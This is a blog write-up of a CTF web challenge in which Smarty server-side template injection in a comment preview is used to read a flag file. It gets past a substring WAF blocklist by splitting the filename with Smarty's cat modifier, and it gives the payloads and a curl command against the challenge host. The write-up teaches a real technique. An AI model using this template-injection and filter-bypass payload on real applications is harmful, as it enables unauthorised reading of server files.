1337 Local CTF: Notebook — Smarty SSTI → WAF Bypass → File Read

144 words
1 minute
1337 Local CTF: Notebook — Smarty SSTI → WAF Bypass → File Read

Notebook#

Challenge Context#

Notebook was a PHP web challenge using Smarty templates. A comment preview feature rendered user-controlled text through Smarty’s template engine.

Reconnaissance#

The vulnerable pattern was:

$tpl_string = "<h3>Comment Preview:</h3><p>{$text}</p>";
$preview = $smarty->fetch('string:' . $tpl_string);

User input became part of a string: template, so Smarty syntax inside the input was evaluated server-side.

Vulnerability / Core Idea#

This is Server-Side Template Injection (SSTI). Smarty’s {fetch} primitive can read files. The application tried to block dangerous strings with a WAF:

'flag', '/etc', '$smarty', 'base64', 'include', 'require', ...

The WAF matched substrings before Smarty evaluated the expression.

Exploitation#

A direct payload was blocked:

{fetch file="/flag.txt"}

The bypass was to concatenate the filename inside the template so the literal blocked word flag never appears in the HTTP request:

{fetch file="/fla"|cat:"g.txt"}

Reproduction:

Terminal window
curl --noproxy '*' -sk -G 'http://104.199.105.242:4242/' \
--data-urlencode 'action=preview' \
--data-urlencode 'text={fetch file="/fla"|cat:"g.txt"}'

Flag#

leet{sm4r7y_7pl_1nj3c710n_n0_w4f_c4n_s70p_m3}

Lesson Learned#

Blocklists fail against template languages because the language itself provides composition. Filter the capability, not the spelling.


Cover: Wallhaven yqmlmx.

Share Article

If this article helped you, please share it with others!

1337 Local CTF: Notebook — Smarty SSTI → WAF Bypass → File Read
https://achux21.github.io/posts/1337-local-ctf-notebook/
Author
ACHUX21
Published at
2026-06-27
License
CC BY-NC-SA 4.0
Profile Image of the Author
ACHUX21
CTF player & security researcher
Notice
CTF writeups and security research. New posts coming soon.
Music
Cover

Music

No playing

0:00 0:00
No lyrics available
Categories
Tags
Site Statistics
Posts
28
Categories
3
Tags
81
Total Words
26,137
Running Days
0 days
Last Activity
0 days ago

Table of Contents